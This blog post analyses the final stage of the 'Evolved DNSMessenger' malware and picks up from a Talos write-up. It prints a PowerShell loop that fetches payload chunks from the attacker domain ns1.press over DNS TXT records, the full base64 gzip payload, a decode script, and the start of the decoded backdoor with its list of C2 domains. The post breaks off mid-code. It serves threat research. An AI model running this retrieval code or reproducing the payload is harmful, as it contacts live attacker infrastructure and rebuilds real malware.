Author Archives: ajyates

More info on “Evolved DNSMessenger”

I read the recent blog post from Talos Intelligence. Great write up, but noticed they mentioned they were unable to get the final stage of the payload. I had also analyzed the “EDGAR_Rules_2017.docx” document yesterday, and happened to get the final payload.

So picking up where they left off –

As they described, the stager powershell code uses DNS A records and TXT records to pull down the next payload. After some testing with the malicious powershell code, I ran into similar issues as Talos likely did and couldn’t get the next payload. Eventually I determined the A records were unnecessary, so wrote up my own quick powershell to pull down all the TXT records (turned out to be 44 TXT requests):

$complete = "";
$count = 0;
while($count -lt 44)
{
  $lookup_domain = "AAAAAAAAAA.stage.$count.ns1.press";
  $nslookup_result = nslookup -type=txt $lookup_domain 2>&1;
  #Write-Host($nslookup_result);
  $regex = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAqACIAXABzACoAKQArAA=='))); #("[^\s]*"\s*)+
  $regex_txt_result = $regex.Matches($nslookup_result);
  #Write-Host($regex_txt_result);
  $value = ($regex.Matches($nslookup_result) | Select -ExpandProperty Value) -join '' -replace '"' -replace '`n' -replace ' ';
  Write-Host($value);
  $complete += $value;
  Write-Host("Current stage: " + $count);
  Write-Host("Payload: " + $complete);
  sleep -s 1;
  $count++;
}

This resulted in a final payload of:

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

Next I used the same powershell code to decode the base64, then decompress and print the result:

$data=[System.Convert]::FromBase64String('{PLACE BASE64 HERE}');

$ms=New-Object System.IO.MemoryStream;
$ms.Write($data,0,$data.Length);
$ms.Seek(0,0)|Out-Null;
$cs=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);
$sr=New-Object System.IO.StreamReader($cs);
Write-Output("Output2:")
Write-Output($sr.readtoend())

Final payload:

# This section should be ommited as it is present in Stager
# =============================================================================
$domains = @("ns0.pw","ns0.site","ns0.space","ns0.website","ns1.press","ns1.website","ns2.press","ns3.site","ns3.space","ns4.site","ns4.space","ns5.biz","ns5.online","ns5.pw")
$retryCount = 10
$retryCountDoDns = 10

$biginteger = @"
using System;using System.Runtime.Serialization;using System.Runtime.Serialization.Formatters;using System.Security.Permissions;using System.Text;using System.Collections.Generic;namespace X{enum Sign{Positive,Negative};[Serializable]
public sealed class BigIntegerException:Exception
{public BigIntegerException(string message,Exception innerException):base(message,innerException)
{}}
[Serializable]
public sealed class BigInteger:ISerializable,IEquatable,IComparable,IComparable{private const long NumberBase=65536;internal const int MaxSize=2*640;private const int RatioToBinaryDigits=16;private static readonly BigInteger Zero=new B
igInteger();private static readonly BigInteger One=new BigInteger(1);private static readonly BigInteger Two=new BigInteger(2);private static readonly BigInteger Ten=new BigInteger(10);private long[]digits;private int size;private Sign sign;public BigInteger()
{digits=new long[MaxSize];size=1;digits[size]=0;sign=Sign.Positive;}
public BigInteger(long n)
{digits=new long[MaxSize];sign=Sign.Positive;if(n==0)
{size=1;digits[size]=0;}
else
{if(n<0)
{n=-n;sign=Sign.Negative;}
size=0;while(n>0)
{digits[size]=n%NumberBase;n/=NumberBase;size++;}}}
public BigInteger(BigInteger n)
{digits=new long[MaxSize];size=n.size;sign=n.sign;for(int i=0;i'9'))
{if((i==0)&&(numberString[i]=='-'))
numberSign=Sign.Negative;else
throw new BigIntegerException("Invalid numeric string.",null);}
else
number=number*Ten+long.Parse(numberString[i].ToString());}
sign=numberSign;digits=new long[MaxSize];size=number.size;for(i=0;iMaxSize)
throw new BigIntegerException("The byte array's content exceeds the maximum size of a BigInteger.",null);digits=new long[MaxSize];sign=Sign.Positive;for(int i=0;i0)&&(reducible==true))
{if(digits[size-1]==0)
size--;else reducible=false;}}
private BigInteger(SerializationInfo info,StreamingContext context)
{bool signValue=(bool)info.GetValue("sign",typeof(bool));if(signValue==true)
sign=Sign.Positive;else
sign=Sign.Negative;size=(int)info.GetValue("size",typeof(short));digits=new long[MaxSize];int i;for(i=0;ib.size)
return true;if(a.size=0;i--)
if(a.digits[i]>b.digits[i])
return true;else if(a.digits[i]b.size)
return false;for(int i=(a.size)-1;i>=0;i--)
if(a.digits[i]b.digits[i])
return false;}}
return false;}
public static bool GreaterOrEqual(BigInteger a,BigInteger b)
{return Greater(a,b)||Equals(a,b);}
public static bool Smaller(BigInteger a,BigInteger b)
{return!GreaterOrEqual(a,b);}
public static bool SmallerOrEqual(BigInteger a,BigInteger b)
{return!Greater(a,b);}
public static BigInteger Abs(BigInteger n)
{BigInteger res=new BigInteger(n);res.sign=Sign.Positive;return res;}
public static BigInteger Addition(BigInteger a,BigInteger b)
{BigInteger res=null;if((a.sign==Sign.Positive)&&(b.sign==Sign.Positive))
{if(a>=b)
res=Add(a,b);else
res=Add(b,a);res.sign=Sign.Positive;}
if((a.sign==Sign.Negative)&&(b.sign==Sign.Negative))
{if(a<=b)
res=Add(-a,-b);else
res=Add(-b,-a);res.sign=Sign.Negative;}
if((a.sign==Sign.Positive)&&(b.sign==Sign.Negative))
{if(a>=(-b))
{res=Subtract(a,-b);res.sign=Sign.Positive;}
else
{res=Subtract(-b,a);res.sign=Sign.Negative;}}
if((a.sign==Sign.Negative)&&(b.sign==Sign.Positive))
{if((-a)<=b)
{res=Subtract(b,-a);res.sign=Sign.Positive;}
else
{res=Subtract(-a,b);res.sign=Sign.Negative;}}
return res;}
public static BigInteger Subtraction(BigInteger a,BigInteger b)
{BigInteger res=null;if((a.sign==Sign.Positive)&&(b.sign==Sign.Positive))
{if(a>=b)
{res=Subtract(a,b);res.sign=Sign.Positive;}
else
{res=Subtract(b,a);res.sign=Sign.Negative;}}
if((a.sign==Sign.Negative)&&(b.sign==Sign.Negative))
{if(a<=b)
{res=Subtract(-a,-b);res.sign=Sign.Negative;}
else
{res=Subtract(-b,-a);res.sign=Sign.Positive;}}
if((a.sign==Sign.Positive)&&(b.sign==Sign.Negative))
{if(a>=(-b))
res=Add(a,-b);else
res=Add(-b,a);res.sign=Sign.Positive;}
if((a.sign==Sign.Negative)&&(b.sign==Sign.Positive))
{if((-a)>=b)
res=Add(-a,b);else
res=Add(b,-a);res.sign=Sign.Negative;}
return res;}
public static BigInteger Multiplication(BigInteger a,BigInteger b)
{if((a==Zero)||(b==Zero))
return Zero;BigInteger res=Multiply(Abs(a),Abs(b));if(a.sign==b.sign)
res.sign=Sign.Positive;else
res.sign=Sign.Negative;return res;}
public static BigInteger Division(BigInteger a,BigInteger b)
{if(b==Zero)
throw new BigIntegerException("Cannot divide by zero.",new DivideByZeroException());if(a==Zero)
return Zero;if(Abs(a)(BigInteger a,BigInteger b)
{return Greater(a,b);}
public static bool operator<(BigInteger a,BigInteger b)
{return Smaller(a,b);}
public static bool operator>=(BigInteger a,BigInteger b)
{return GreaterOrEqual(a,b);}
public static bool operator<=(BigInteger a,BigInteger b)
{return SmallerOrEqual(a,b);}
public static BigInteger operator-(BigInteger n)
{return Opposite(n);}
public static BigInteger operator+(BigInteger a,BigInteger b)
{return Addition(a,b);}
public static BigInteger operator-(BigInteger a,BigInteger b)
{return Subtraction(a,b);}
public static BigInteger operator*(BigInteger a,BigInteger b)
{return Multiplication(a,b);}
public static BigInteger operator/(BigInteger a,BigInteger b)
{return Division(a,b);}
public static BigInteger operator%(BigInteger a,BigInteger b)
{return Modulo(a,b);}
public static BigInteger operator++(BigInteger n)
{BigInteger res=n+One;return res;}
public static BigInteger operator--(BigInteger n)
{BigInteger res=n-One;return res;}
private static BigInteger Add(BigInteger a,BigInteger b)
{BigInteger res=new BigInteger(a);long trans=0,temp;int i;for(i=0;i0));i++)
{temp=res.digits[i]+trans;res.digits[i]=temp%NumberBase;trans=temp/NumberBase;}
if(trans>0)
{res.digits[res.size]=trans%NumberBase;res.size++;trans/=NumberBase;}
return res;}
private static BigInteger Subtract(BigInteger a,BigInteger b)
{BigInteger res=new BigInteger(a);int i;long temp,trans=0;bool reducible=true;for(i=0;i0));i++)
{temp=res.digits[i]-trans;if(temp<0)
{trans=1;temp+=NumberBase;}
else trans=0;res.digits[i]=temp;}
while((res.size-1>0)&&(reducible==true))
{if(res.digits[res.size-1]==0)
res.size--;else reducible=false;}
return res;}
private static BigInteger Multiply(BigInteger a,BigInteger b)
{int i,j;long temp,trans=0;BigInteger res=new BigInteger();res.size=a.size+b.size-1;for(i=0;i0)
{res.digits[res.size]=trans%NumberBase;res.size++;trans/=NumberBase;}
return res;}
private static BigInteger DivideByOneDigitNumber(BigInteger a,long b)
{BigInteger res=new BigInteger();int i=a.size-1;long temp;res.size=a.size;temp=a.digits[i];while(i>=0)
{res.digits[i]=temp/b;temp%=b;i--;if(i>=0)
temp=temp*NumberBase+a.digits[i];}
if((res.digits[res.size-1]==0)&&(res.size!=1))
res.size--;return res;}
private static BigInteger DivideByBigNumber(BigInteger a,BigInteger b)
{int k,n=a.size,m=b.size;long f,qt;BigInteger d,dq,q,r;f=NumberBase/(b.digits[m-1]+1);q=new BigInteger();r=a*f;d=b*f;for(k=n-m;k>=0;k--)
{qt=Trial(r,d,k,m);dq=d*qt;if(DivideByBigNumberSmaller(r,dq,k,m))
{qt--;dq=d*qt;}
q.digits[k]=qt;Difference(r,dq,k,m);}
q.size=n-m+1;if((q.size!=1)&&(q.digits[q.size-1]==0))
q.size--;return q;}
private static bool DivideByBigNumberSmaller(BigInteger r,BigInteger dq,int k,int m)
